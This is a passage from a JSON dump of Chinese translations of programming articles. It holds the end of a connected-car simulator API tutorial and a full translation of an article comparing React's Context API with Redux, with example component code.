cart”的项目\n\n创建成功后，你会看到下面的控制台。\n\n![](https://cdn-images-1.medium.com/max/800/1*rsmN2x0l8OIbG9CcAatMzQ.png)\n\n下一步，创建一辆车。\n\n![](https://cdn-images-1.medium.com/max/800/1*ubLnPZ9W1yiFhcUMeue8Aw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*Vf1MotKtmqOgEf0p-8IGZA.gif)\n\n不得不说，用户界面非常流畅直观。我们有了项目、车辆，剩下的就是应用了。\n\n现在来为项目创建一个应用。\n\n![](https://cdn-images-1.medium.com/max/800/1*dS-UFNGRQcCj-GUgk-WAcg.png)\n\n我们可以使用 API 创建 Android、iOS 或 web 应用。我们选择 web 方式。\n\n![](https://cdn-images-1.medium.com/max/800/1*9_uRbNTWH__yTd8I3S_i7Q.gif)\n\n创建应用并连接到车辆\n\n**不要忘记将车辆连接到应用。**\n\n最后来启动模拟器。\n\n![](https://cdn-images-1.medium.com/max/800/1*oVCeK-HBPpmxicN2PC_EHQ.gif)\n\n模拟器页面\n\n这是一个很棒的 web 模拟器。我们终于搭好了脚手架。然后就可以通过 API 来操作模拟器了。\n\n### 通过 API 与模拟器交互\n\n我们用这个 [示例仓库](https://github.com/highmobility/hm-node-scaffold) 作为样板，用你喜欢的编辑器打开它。确保你安装了 8.4 版本及以上的 Node。\n\n```\ngit clone git@github.com:highmobility/hm-node-scaffold.git && hm-node-scaffold && yarn install\n```\n\n打开 `src/app.js` 这个文件，你会看见一段有用的注释。我们需要配置一些凭据信息。\n\n![](https://cdn-images-1.medium.com/max/800/1*PKp-FNVP041G28CufYLKvA.png)\n\n前面的步骤已经完成了，剩下的就是凭据信息了。在 **develop → project → client certificate** 下面可以查看 client certificate。\n\n![](https://cdn-images-1.medium.com/max/800/1*wJzxuWTrg8dL6BQU7r6GLA.gif)\n\n![](https://cdn-images-1.medium.com/max/400/1*lfirzUldQrZht-pjIaH_5Q.png)\n\nClient certificate。\n\n最后我们需要访问 token。脚手架会有很多版本，这个只是 **alpha** 版。在未来的版本里，你可能只需要运行一条命令：`yarn run unpack connectedcar-kit`\n\n![](https://cdn-images-1.medium.com/max/800/1*tDU6p4cs2Cgg2m3rhdM1rw.gif)\n\n权限 token。\n\n好的，通过执行 `yarn run start` 命令来启动发动机吧。\n\n![](https://cdn-images-1.medium.com/max/800/1*d7-z0M6os0CLUgro0BwZ4g.gif)\n\n通过调用 API 来打开模拟器的发动机。\n\n就是这样！感觉是不是很棒！想学习更多，可以查看 [官方文档](https://workspace.porsche-next-oi-competition.com/#/learn/tutorials/sdk/node-js/)。\n\n### 接下来\n\n如果你对这个话题感兴趣，有很多方向可以发展，但我建议你创建几个连接模拟器的应用玩玩。下面是一些应用创意 —— 你可能会赢得 10 万美元的大奖哦！\n\n* 显示禁止或付费停车位的应用。在控制台中，禁止停车位显示红色，付费停车位显示橙色。\n* 帮助找到最近的充电桩的应用。\n* 可以让驾驶者快速使用谷歌地图、短信、音乐和其他程序的应用。\n\n感谢阅读并坚持到最后，你很厉害！❤\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/context-api-vs-redux.md",
    "content": "> * 原文地址：[Redux vs. The React Context API](https://daveceddia.com/context-api-vs-redux/)\n> * 原文作者：[Dave Ceddia](https://daveceddia.com)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/context-api-vs-redux.md](https://github.com/xitu/gold-miner/blob/master/TODO1/context-api-vs-redux.md)\n> * 译者：[Xuyuey](https://github.com/Xuyuey)\n> * 校对者：[Minghao](https://github.com/Minghao23), [Baddyo](https://github.com/Baddyo)\n\n# Redux vs. React 的 Context API\n\n![](https://daveceddia.com/images/context-vs-redux.png)\n\nReact 在 16.3 版本里面引入了新的 Context API —— 说它是**新的**是因为**老版本**的 context API 是一个幕后的试验性功能，大多数人要么不知道，要么就是依据官方文档所说，尽量避免使用它。\n\n但是，现在 Context API 摇身一变成为了 React 中的一等公民，对所有人开放（不像是之前那样，现在是被官方所提倡使用的）。\n\nReact 16.3 版本一发布，宣称新的 Context API 将要取缔 Redux 的文章在网上铺天盖地而来。但是，如果你去问问 Redux，我认为它会说“那些宣告我会死亡的报道实在是[言过其实](https://blog.isquaredsoftware.com/2018/03/redux-not-dead-yet/)”。\n\n在这篇文章中，我想向大家介绍一下新的 Context API 是如何工作的，它与 Redux 的相似之处，什么情况下可以使用 Context API **而不是** Redux，以及为什么不是所有情况下 Context API 都可以替换 Redux 的原因。\n\n**如果你只是想了解 Context 的概述，可以[跳转到这一节](#如何使用-react-context-api)。**\n\n## 一个简单的 React 例子\n\n这里假设你已经了解了 React 的基础知识（props 和 state），但是如果你还没有，你可以参加我的 5 天免费课程，来学习 React 基础知识。\n\n让我们看一个可以让大多数人接触 Redux 的例子。我们将从一个单纯的 React 版本开始介绍，然后看看它在 Redux 中的样子，最后是 Context。\n\n![组件层级](https://daveceddia.com/images/context-v-redux-app-screenshot.png)\n\n在该应用中用户信息显示在两个位置：导航栏的右上角以及主要内容旁边的侧边栏。\n\n（你可能会注意到它看起来很像 Twitter。这绝对不是碰巧的！磨练 React 技能的最佳方法之一就是通过[复制 —— 构建现有应用的副本](https://daveceddia.com/learn-react-with-copywork/)）。\n\n组件结构如下所示：\n\n![组件层级](https://daveceddia.com/images/context-v-redux-app-tree.png)\n\n使用纯 React（仅仅是常规的 props），我们需要在组件树中足够高的位置存储用户信息，这样我们才可以将它向下传递给每一个需要它的组件。在我们的例子中，用户信息必须存储在 `App` 中。\n\n接着，为了将用户信息向下传递给需要它的组件，App 需要先将它传递给 Nav 和 Body。然后，**再次**向下传递给 UserAvatar（万岁！终于到了）和 Sidebar。最后，Sidebar 还要再将它传递给 UserStats。\n\n让我们来看看代码是怎么工作的（为了方便阅读，我将所有的内容放在一个文件内，但实际上这些内容可能会按照[某种标准结构](https://daveceddia.com/react-project-structure/)分成几个文件）。\n\n```js\nimport React from \"react\";\nimport ReactDOM from \"react-dom\";\nimport \"./styles.css\";\n\nconst UserAvatar = ({ user, size }) => (\n  <img\n    className={`user-avatar ${size || \"\"}`}\n    alt=\"user avatar\"\n    src={user.avatar}\n  />\n);\n\nconst UserStats = ({ user }) => (\n  <div className=\"user-stats\">\n    <div>\n      <UserAvatar user={user} />\n      {user.name}\n    </div>\n    <div className=\"stats\">\n      <div>{user.followers} Followers</div>\n      <div>Following {user.following}</div>\n    </div>\n  </div>\n);\n\nconst Nav = ({ user }) => (\n  <div className=\"nav\">\n    <UserAvatar user={user} size=\"small\" />\n  </div>\n);\n\nconst Content = () => <div className=\"content\">main content here</div>;\n\nconst Sidebar = ({ user }) => (\n  <div className=\"sidebar\">\n    <UserStats user={user} />\n  </div>\n);\n\nconst Body = ({ user }) => (\n  <div className=\"body\">\n    <Sidebar user={user} />\n    <Content user={user} />\n  </div>\n);\n\nclass App extends React.Component {\n  state = {\n    user: {\n      avatar:\n        \"https://www.gravatar.com/avatar/5c3dd2d257ff0e14dbd2583485dbd44b\",\n      name: \"Dave\",\n      followers: 1234,\n      following: 123\n    }\n  };\n\n  render() {\n    const { user } = this.state;\n\n    return (\n      <div className=\"app\">\n        <Nav user={user} />\n        <Body user={user} />\n      </div>\n    );\n  }\n}\n\nReactDOM.render(<App />, document.querySelector(\"#root\"));\n```\n\n[查看 CodeSandbox 中的在线示例](https://codesandbox.io/s/q8yqx48074)。\n\n在这里，`App` [初始化 state](https://daveceddia.com/where-initialize-state-react/) 时已经包含了 “user” 对象 —— 但是在真实应用中你可能会需要[从服务器上获取该数据](https://daveceddia.com/ajax-requests-in-react/)并将它保存在 state 中，以便渲染。\n\n这种 prop drilling（译者注：属性的向下传递）的方式，并非**糟糕**的做法。它工作的还不错。并不是所有情况下都不鼓励 “prop drilling”；它是一种完美的有效模式，是支持 React 工作的核心。但是如果组件的层次太深，在你编写的时候就会有点烦人。特别是当你向下传递不止一个属性，而是一大堆的时候，它会变得更加烦人。\n\n然而，这种 “prop drilling” 策略有一个更大的缺点：它会让本应该独立的组件耦合在一起。在上面的例子中，`Nav` 组件需要接收一个 “user” 属性，再将它传递给 `UserAvatar`，即使 `Nav` 中没有任何其它的地方需要用到 `user` 属性。\n\n紧密耦合的组件（就像那些向它们的子组件传递属性的组件）更加难以被复用，因为无论什么时候你要在新的地方使用它，你都必须将它们和新的父组件联系起来。\n\n让我们来看看如何改进。\n\n## 在使用 Context 或者 Redux 之前……\n\n如果你可以找到一种方法来**合并**应用的结构，并利用好 `children` 属性，这样，无需借助深层次的 prop drilling **或是 Context，或是 Redux**，你也可以让代码结构变得更清晰。\n\n对于那些需要使用通用占位符的组件，例如本例中的 `Nav`、`Sidebar` 和 `Body`，children 属性是一个很好的解决方案。还要知道，你可以传递 JSX 元素给**任意**属性，并不仅仅是 “children” —— 所以如果你想使用不止一个 “slot” 来插入组件时，请记住这一点。\n\n这个例子中 `Nav`、`Sidebar` 和 `Body` 接收 children，然后按照它们的样子渲染出来。这样，组件的使用者不用担心传递给组件的特定数据 —— 他只需要使用组件内定义的数据，并按照组件的原始需求简单地渲染组件。这个例子中还说明了怎样使用**任意**属性传递 children。\n\n（感谢 Dan Abramov 的[这个建议](https://twitter.com/dan_abramov/status/1021850499618955272)！)\n\n```js\nimport React from \"react\";\nimport ReactDOM from \"react-dom\";\nimport \"./styles.css\";\n\nconst UserAvatar = ({ user, size }) => (\n  <img\n    className={`user-avatar ${size || \"\"}`}\n    alt=\"user avatar\"\n    src={user.avatar}\n  />\n);\n\nconst UserStats = ({ user }) => (\n  <div className=\"user-stats\">\n    <div>\n      <UserAvatar user={user} />\n      {user.name}\n    </div>\n    <div className=\"stats\">\n      <div>{user.followers} Followers</div>\n      <div>Following {user.following}</div>\n    </div>\n  </div>\n);\n\n// 接收并渲染 children\nconst Nav = ({ children }) => (\n  <div className=\"nav\">\n    {children}\n  </div>\n);\n\nconst Content = () => (\n  <div className=\"content\">main content here</div>\n);\n\nconst Sidebar = ({ children }) => (\n  <div className=\"sidebar\">\n    {children}\n  </div>\n);\n\n// Body 需要一个 sidebar 和 content，但是可以按照这样的方式写，\n// 它们可以是任意属性\nconst Body = ({ sidebar, content }) => (\n  <div className=\"body\">\n    <Sidebar>{sidebar}</Sidebar>\n    {content}\n  </div>\n);\n\nclass App extends React.Component {\n  state = {\n    user: {\n      avatar:\n        \"https://www.gravatar.com/avatar/5c3dd2d257ff0e14dbd2583485dbd44b\",\n      name: \"Dave\",\n      followers: 1234,\n      following: 123\n    }\n  };\n\n  render() {\n    const { user } = this.state;\n\n    return (\n      <div className=\"app\">\n        <Nav>\n          <UserAvatar user={user} size=\"small\" />\n        </Nav>\n        <Body\n          sidebar={<UserStats user={user} />}\n          content={<Content />}\n        />\n      </div>\n    );\n  }\n}\n\nReactDOM.render(<App />, document.querySelector(\"#root\"));\n```\n\n[查看 CodeSandbox 中的在线示例](https://codesandbox.io/s/mj19ywz0oy)。\n\n如果你的应用太复杂了（比这个例子更复杂！），也许很难弄清楚如何调整 `children` 模式。让我们来看看如何用 Redux 替换 prop drilling。\n\n## 使用 Redux 的例子\n\n这里我会快速过一下 Redux 示例，这样我们可以多用点时间深入地了解 Context 的工作原理，所以如果你不是很清楚 Redux，可以先去看看我的 [Redux 简介](https://daveceddia.com/how-does-redux-work/)（或者[观看视频](https://youtu.be/sX3KeP7v7Kg)）。\n\n我们使用的还是上面的 React 应用，这里我们将它重构为 Redux 版本。`user` 信息被移入了 Redux 存储，这意味着我们可以使用 react-redux 的 `connect` 函数，直接将 `user` 属性注入到需要它的组件中。\n\n这在解耦方面是一个巨大的胜利。看看 `Nav`、`Sidebar` 和 `Body`，你会发现它们不再接收和向下传递 `user` 属性了。不用再玩 props 这块烫手山芋了。当然也不会有更多不必要的耦合。\n\n这里的 reducer 没有做很多工作；非常的简单。我在其它地方有更多关于 [Redux Reducer 如何工作](https://daveceddia.com/what-is-a-reducer/)以及[如何编写其中的不可变代码](https://daveceddia.com/react-redux-immutability-guide/)的文章，你可以看看。\n\n```js\nimport React from \"react\";\nimport ReactDOM from \"react-dom\";\n\n// 我们需要 createStore、connect 和 Provider:\nimport { createStore } from \"redux\";\nimport { connect, Provider } from \"react-redux\";\n\n// 创建一个初始 state 为空的 reducer\nconst initialState = {};\nfunction reducer(state = initialState, action) {\n  switch (action.type) {\n    // 响应 SET_USER 行为并更新\n    // 相应的 state\n    case \"SET_USER\":\n      return {\n        ...state,\n        user: action.user\n      };\n    default:\n      return state;\n  }\n}\n\n// 使用 reducer 创建 store\nconst store = createStore(reducer);\n\n// 触发设置 user 的行为\n// （因为 user 初始化时为空）\nstore.dispatch({\n  type: \"SET_USER\",\n  user: {\n    avatar: \"https://www.gravatar.com/avatar/5c3dd2d257ff0e14dbd2583485dbd44b\",\n    name: \"Dave\",\n    followers: 1234,\n    following: 123\n  }\n});\n\n// 函数 mapStateToProps 从 state 对象中提取 user 值\n// 并将它作为 `user` 属性传递\nconst mapStateToProps = state => ({\n  user: state.user\n});\n\n// connect() UserAvatar 以便它可以直接接收 `user` 属性，\n// 而无需从上层组件中获取\n\n// 也可以把它分成下面 2 个变量：\n//   const UserAvatarAtom = ({ user, size }) => ( ... )\n//   const UserAvatar = connect(mapStateToProps)(UserAvatarAtom);\nconst UserAvatar = connect(mapStateToProps)(({ user, size }) => (\n  <img\n    className={`user-avatar ${size || \"\"}`}\n    alt=\"user avatar\"\n    src={user.avatar}\n  />\n));\n\n// connect() UserStats 以便它可以直接接收 `user` 属性，\n// 而无需从上层组件中获取\n// （同样使用 mapStateToProps 函数）\nconst UserStats = connect(mapStateToProps)(({ user }) => (\n  <div className=\"user-stats\">\n    <div>\n      <UserAvatar />\n      {user.name}\n    </div>\n    <div className=\"stats\">\n      <div>{user.followers} Followers</div>\n      <div>Following {user.following}</div>\n    </div>\n  </div>\n));\n\n// Nav 不再需要知道 `user` 属性\nconst Nav = () => (\n  <div className=\"nav\">\n    <UserAvatar size=\"small\" />\n  </div>\n);\n\nconst Content = () => (\n  <div className=\"content\">main content here</div>\n);\n\n// Sidebar 也不再需要知道 `user` 属性\nconst Sidebar = () => (\n  <div className=\"sidebar\">\n    <UserStats />\n  </div>\n);\n\n// body 同样不需要知道 `user` 属性\nconst Body = () => (\n  <div className=\"body\">\n    <Sidebar />\n    <Content />\n  </div>\n);\n\n// App 不再需要保存 state，\n// 所以可以把它写成一个无状态组件\nconst App = () => (\n  <div className=\"app\">\n    <Nav />\n    <Body />\n  </div>\n);\n\n// 用 Provider 包裹整个 App，\n// 以便 connect() 可以连接到 store\nReactDOM.render(\n  <Provider store={store}>\n    <App />\n  </Provider>,\n  document.querySelector(\"#root\")\n);\n```\n\n[查看 CodeSandbox 中的在线示例](https://codesandbox.io/s/943yr0qp3o)。\n\n现在你可能想知道 Redux 如何能实现这样神奇的功能。“想知道”是一件好事情。React 不支持跨越多个层级传递属性，那为何 Redux 可以实现呢？\n\n答案是 Redux 使用了 React 的 **context**（**上下文**）特性。不是现在我们说的 Context API（还不是）—— 而是旧的那个。就是 React 文档说不要使用的那个，除非你在写库文件或者你知道在做什么。\n\nContext 就像一个在每个组件背后运行的电子总线：要接收它传递的电源（数据），你只需要插入插头就好。而（React-）Redux 的 `connect` 函数就是做这件事的。\n\n不过，Redux 的这个功能只是冰山一角。可以在所有地方传递数据只是 Redux 最**明显**的功能。以下是你可以开箱即用的其他一些好处：\n\n### `connect` 使你的组件很纯粹\n\n`connect` 可以让被连接的组件很“纯粹”，意味着它们只需要在自己的属性改变时重新渲染 —— 也就是在它们的 Redux 状态切片发生改变时。这可以防止不必要的重复渲染，使你的应用能够快速运行。DIY 方法：创建一个类继承 `PureComponent`，或是自己实现 `shouldComponentUpdate`。\n\n### 使用 Redux 轻松调试\n\n虽然写 action 和 reducer 有一点复杂，但是我们可以使用它提供给我们的强大调试能力来平衡这一点。\n\n使用 [Redux DevTools 扩展](https://github.com/zalmoxisus/redux-devtools-extension)，应用程序执行的每个操作都会被自动记录下来。你可以随时打开它，查看触发的操作，有效负载是什么，以及操作发生前后的 state。\n\n![Redux 调试工具示例](https://daveceddia.com/images/redux-devtools.gif)\n\nRedux DevTools 提供了另一个很棒的功能 —— **time travel debugging**（**时间旅行调试**），也就是说，你可以点击任何过去的动作并跳转到那个时间点，它基本上可以重放每一个动作，包括现在的那个，但不包括还没有触发的动作。其原理是每个动作都会**不可变**地更新 state，所以你可以拿到记录了 state 更新的列表并重放它们，跳转到你想去的地方，而且没有任何副作用。\n\n而且目前有像 [LogRocket](https://logrocket.com/) 这样的工具，可以为你的每一个用户在**生产环境**中提供一个永远在线的 Redux DevTools。有 bug 报告？没关系。在 LogRocket 中查找该用户的会话，你可以看到他们所做的所有事情以及确切触发的操作。这一切都可以通过使用 Redux 的操作流来实现。\n\n### 使用中间件自定义 Redux\n\nRedux 支持**中间件**（**middleware**）的概念，代表着“每次调度某个动作之前都会运行的函数”。编写自己的中间件并不像看起来那么难，它可以实现一些强大的功能。\n\n例如……\n\n* 想要在每个命名以 `FETCH_` 开头的操作中提交 API 请求？你可以使用中间件。\n* 想要为你的分析软件在一个集中的地方记录事件的日志？中间件是一个好地方。\n* 想要在特定的时间阻止某些行为的触发？你可以用中间件实现，而且对应用的其它部分是透明的。\n* 想要拦截具有 JWT 令牌的操作并自动将其保存到 localStorage？是的，你还可以用中间件。\n\n这里有一篇很好的文章，里面有一些[如何编写 Redux 中间件的示例](https://medium.com/@jacobp100/you-arent-using-redux-middleware-enough-94ffe991e6)。\n\n## 如何使用 React Context API\n\n但是，也许你不需要 Redux 所有那些花哨的功能。也许你不关心简单调试、自定义或是性能的自动化提升 —— 你想做的只是轻松地传递数据。也许你的应用很小，或者现在你只是需要让应用运转起来，以后再去考虑那些花哨的东西。\n\nReact 的新 Context API 可能符合你的要求。让我们看看它是如何工作的。\n\n如果你更愿意看视频（时长 3:43）而不是读文章，我在 Egghead 上发布了一个简短的 Context API 课程：\n\n[![Egghead.io 上的 Context API 课程](https://daveceddia.com/images/context-api-egghead-video.png)](https://egghead.io/lessons/react-pass-props-through-multiple-levels-with-react-s-context-api)\n\nContext API 中有 3 个重要的部分：\n\n* `React.createContext` 函数：创建上下文\n* `Provider`（由 `createContext` 返回）：在组件树中构建“电子总线”\n* `Consumer`（同样由 `createContext` 返回）：接入“电子总线”来获取数据\n\n这里的 `Provider` 和 React-Redux 的 `Provider` 非常相似。它接收一个 `value` 属性，这个属性可以是任何你想要的东西（甚至可以是一个 Redux store……但是这很傻）。它很可能是一个对象，包括你的数据以及你希望对数据执行的操作。\n\n这里的 `Consumer` 工作方式有点像 React-Redux 的 `connect` 函数，接收数据以供组件使用。\n\n以下是重点：\n\n```js\n// 在最开始，我们创建了一个新的上下文\n// 它是一个拥有两个属性 { Provider, Consumer } 的对象\n// 注意这里用的是 UpperCase 命名，不是 camelCase\n// 这很重要，因为我们一会要以组件的方式使用它\n// 而组件的名称必须以大写字母开头\nconst UserContext = React.createContext();\n\n// 下面是需要从上下文中获取数据的组件\n// 可以通过使用 UserContext 的 Consumer 属性\n// Consumer 使用的是 \"render props\" 模式\nconst UserAvatar = ({ size }) => (\n  <UserContext.Consumer>\n    {user => (\n      <img\n        className={`user-avatar ${size || \"\"}`}\n        alt=\"user avatar\"\n        src={user.avatar}\n      />\n    )}\n  </UserContext.Consumer>\n);\n\n// 注意我们不再需要 'user' 属性了\n// 因为 Consumer 可以直接从上下文中获取\nconst UserStats = () => (\n  <UserContext.Consumer>\n    {user => (\n      <div className=\"user-stats\">\n        <div>\n          <UserAvatar user={user} />\n          {user.name}\n        </div>\n        <div className=\"stats\">\n          <div>{user.followers} Followers</div>\n          <div>Following {user.following}</div>\n        </div>\n      </div>\n    )}\n  </UserContext.Consumer>\n);\n\n// …… 所有其它的组件 ……\n// ……（就是那些不会用到 `user` 的组件）……\n\n// 在最下面，App 的内部\n// 我们用 Provider 在整棵树中传递上下文\nclass App extends React.Component {\n  state = {\n    user: {\n      avatar:\n        \"https://www.gravatar.com/avatar/5c3dd2d257ff0e14dbd2583485dbd44b\",\n      name: \"Dave\",\n      followers: 1234,\n      following: 123\n    }\n  };\n\n  render() {\n    return (\n      <div className=\"app\">\n        <UserContext.Provider value={this.state.user}>\n          <Nav />\n          <Body />\n        </UserContext.Provider>\n      </div>\n    );\n  }\n}\n```\n\n这里是 [CodeSandbox 中的完整示例](https://codesandbox.io/s/q9w2qrw6q4)。\n\n让我们来看看它是如何工作的。\n\n记住有 3 个部分：上下文本身（由 `React.createContext` 创建），以及和它对话的两个组件（`Provider` 和 `Consumer`）。\n\n### Provider 和 Consumer 是一对好基友\n\nProvider 和 Consumer 被捆绑在一起。形影不离。而且它们只知道如何和**对方**对话。如果你创建两个单独的上下文，例如 “Context1” 和 “Context2”，那么 Context1 的 Provider 和 Consumer 是不可能和 Context2 的 Provider 和 Consumer 通信的。\n\n### 上下文中不保存 state\n\n注意上下文**没有**自己的 state。它只是数据的管道。你必须将值传递给 `Provider`，然后这个确切的值会被传递给任何知道如何获取它的 `Consumer`（Consumer 和 Provider 绑定的是同一个上下文）。\n\n创建上下文时，可以传入一个“默认值”，如下所示：\n\n```js\nconst Ctx = React.createContext(yourDefaultValue);\n```\n\n当 `Consumer` 被放在一个没有 `Provider` 包裹的树上时，它会收到这个默认值。如果你没有传入默认值，这个值会为 `undefined`。但要注意这是默认值，而不是初始值。上下文不保留任何内容；它只是分发你传入的数据。\n\n### Consumer 使用 Render Props 模式\n\nRedux 的 `connect` 函数是一个高阶组件（或简称 HoC）。它**包裹**另外一个组件，并将 props 传递给它。\n\n上下文的 `Consumer` 则相反，它期望子组件是一个函数。然后它在渲染的时候调用这个函数，将它从包裹它的 `Provider` 上获得的值（或上下文的默认值，如果你没有传入默认值，那也可能是 `undefined`）传给子组件。\n\n### Provider 接收单个值\n\n它接收 `value` 属性，仅此一个值。但请记住这个值可以是任何东西。在实践中，如果你想要向下传递多个值，你必须创建一个包含这些值的对象，再将**这个对象**传递下去。\n\n这几乎是 Context API 的最核心的东西。\n\n## 灵活的 Context API\n\n因为创建上下文为我们提供了两个可以使用的组件（Provider 和 Consumer），因此我们可以随意使用它们。这里有几个想法。\n\n### 将 Consumer 变成高阶组件\n\n不喜欢在每个需要使用 `UserContext.Consumer` 的地方都添加它的用法？嗯，这是你的代码！你可以做任何你想做的事。你是个成年人了。\n\n如果你更愿意接收一个作为属性的值，你可以为 `Consumer` 写一个包裹器，像下面这样：\n\n```js\nfunction withUser(Component) {\n  return function ConnectedComponent(props) {\n    return (\n      <UserContext.Consumer>\n        {user => <Component {...props} user={user}/>}\n      </UserContext.Consumer>\n    );\n  }\n}\n```\n\n然后你可以重写你的代码，比如使用了新 `withUser` 函数的 `UserAvatar` 组件：\n\n```js\nconst UserAvatar = withUser(({ size, user }) => (\n  <img\n    className={`user-avatar ${size || \"\"}`}\n    alt=\"user avatar\"\n    src={user.avatar}\n  />\n));\n```\n\nBOOM，上下文可以像 Redux 的 `connect` 那样工作。让你的组件很纯粹。\n\n这里是[带有这个高阶组件的 CodeSandbox 示例](https://codesandbox.io/s/jpy76nm1v)。\n\n### 用 Provider 保存 state\n\n记住，上下文的 Provider 只是一个管道。它不保留任何数据。但这并不能阻止你制作**自己**的包裹器来保存数据。\n\n在上面的示例中，我用 `App` 保存数据，因此这里你唯一需要了解的新事物就是这个 Provider + Consumer 组件。但也许你想写一个自己的 “store”，等等。你可以创建一个组件来保存数据，并通过上下文传递它们。\n\n```js\nclass UserStore extends React.Component {\n  state = {\n    user: {\n      avatar:\n        \"https://www.gravatar.com/avatar/5c3dd2d257ff0e14dbd2583485dbd44b\",\n      name: \"Dave\",\n      followers: 1234,\n      following: 123\n    }\n  };\n\n  render() {\n    return (\n      <UserContext.Provider value={this.state.user}>\n        {this.props.children}\n      </UserContext.Provider>\n    );\n  }\n}\n\n// ……略过中间的内容……\n\nconst App = () => (\n  <div className=\"app\">\n    <Nav />\n    <Body />\n  </div>\n);\n\nReactDOM.render(\n  <UserStore>\n    <App />\n  </UserStore>,\n  document.querySelector(\"#root\")\n);\n```\n\n现在，你的用户数据被很好地包含在它自己的组件中了，这个组件**唯一**关注的就是用户数据。很棒。`App` 又可以再次变成无状态组件了。我认为它看起来更整洁了。\n\n这里是[带有这个 UserStore 的 CodeSandbox 示例](https://codesandbox.io/s/jpy76nm1v)。\n\n### 通过上下文传递操作\n\n记住通过 Provider 传递的对象可以包含你想要的任何东西。这意味着它可以包含函数。你甚至可以称之为“操作（action）”。\n\n这是一个新例子：一个简单的房间，带有一个可以切换背景颜色的开关 —— 抱歉，我的意思是灯光。\n\n![灯灭屋黑。](https://daveceddia.com/images/lightswitch-app.gif)\n\nState 被保存在 store 中，store 中还有切换灯光的函数。State 和函数都通过上下文传递。\n\n```js\nimport React from \"react\";\nimport ReactDOM from \"react-dom\";\nimport \"./styles.css\";\n\n// 简单的空上下文\nconst RoomContext = React.createContext();\n\n// 一个组件\n// 唯一的工作就是管理 Room 的 state\nclass RoomStore extends React.Component {\n  state = {\n    isLit: false\n  };\n\n  toggleLight = () => {\n    this.setState(state => ({ isLit: !state.isLit }));\n  };\n\n  render() {\n    // 传递 state 和 onToggleLight 操作\n    return (\n      <RoomContext.Provider\n        value={{\n          isLit: this.state.isLit,\n          onToggleLight: this.toggleLight\n        }}\n      >\n        {this.props.children}\n      </RoomContext.Provider>\n    );\n  }\n}\n\n// 从 RoomContext 中接收灯光的 state\n// 以及切换灯光的函数\nconst Room = () => (\n  <RoomContext.Consumer>\n    {({ isLit, onToggleLight }) => (\n      <div className={`room ${isLit ? \"lit\" : \"dark\"}`}>\n        The room is {isLit ? \"lit\" : \"dark\"}.\n        <br />\n        <button onClick={onToggleLight}>Flip</button>\n      </div>\n    )}\n  </RoomContext.Consumer>\n);\n\nconst App = () => (\n  <div className=\"app\">\n    <Room />\n  </div>\n);\n\n// 用 RoomStore 包裹整个 App\n// 它可以像在 `App` 内那样工作\nReactDOM.render(\n  <RoomStore>\n    <App />\n  </RoomStore>,\n  document.querySelector(\"#root\")\n);\n```\n\n这里是 [CodeSandbox 中的完整示例](https://codesandbox.io/s/jvky9o0nvw)。\n\n## 应该使用 Context 还是 Redux？\n\n既然你已经看过两种方式了 —— 那你应该使用哪种方式呢？好吧，这里有一件事会让你的应用**更好**并且**写起来更有趣**，那就是**做决策**。我知道你可能只想要“答案”，但我很遗憾地告诉你，“这视情况而定”。\n\n这取决于你的应用程序有多大或将会变成多大。有多少人会参与其中 —— 只有你还是有更大的团队？你或你的团队对于 Redux 所依赖的函数式概念（如不变性和纯函数）的经验。\n\n在 JavaScript 生态系统中存在的一个巨大的恶性谬论是**竞争**的概念。有观点认为，每一次选择都是一个零和游戏；如果你使用**库 A**，你就不能使用**它的竞争对手库 B**。这个想法是说当出现了一个在某种程度上更好的新库，它必须取代现有的库。这是一种「或者……或者……」的感觉，你必须选择目前最好的库，或者和过去的人一起使用之前的库。\n\n更好的方法是拥有一个像是你的**工具箱**一样的东西，可以把你的选择项都放进去。就像是选择使用螺丝刀还是冲击钻。对于 80% 的工作，使用冲击钻拧螺丝都比螺丝刀更快。但对于另外的 20%，螺丝刀实际上是更好的选择 —— 或许因为空间比较狭小，或是物品很精细。当我有一个冲击钻时，我并没有立即扔掉我的螺丝刀，甚至是我的非冲击钻。冲击钻没有**取代**它们，它只是给了我另外一种选择。另外一种解决问题的方法。\n\nReact 会“替代” Angular 或 jQuery，但 Context 不会像这样“替代” Redux。哎呀，当我需要快速完成一些事情时，我仍然会使用 jQuery。我有时仍会使用服务器渲染的 EJS 模板，而不是使用整个 React 应用程序。有时 React 比你手上的任务需求更庞大。有时 Redux 里也会有你不需要的功能。\n\n现在，当 Redux 超出你的需求时，你可以使用 Context。\n\n### 翻译\n\n* [Russian](https://habr.com/post/419449/)（由 Maxim Vashchenko 提供）\n* [Japanese](https://qiita.com/ossan-engineer/items/c3e5bd4d9bb4db04f80d)（由 Kiichi 提供）\n* [Portuguese](https://www.linkedin.com/pulse/redux-vs-react-context-api-wenderson-pires/)（由 Wenderson Pires 提供）\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 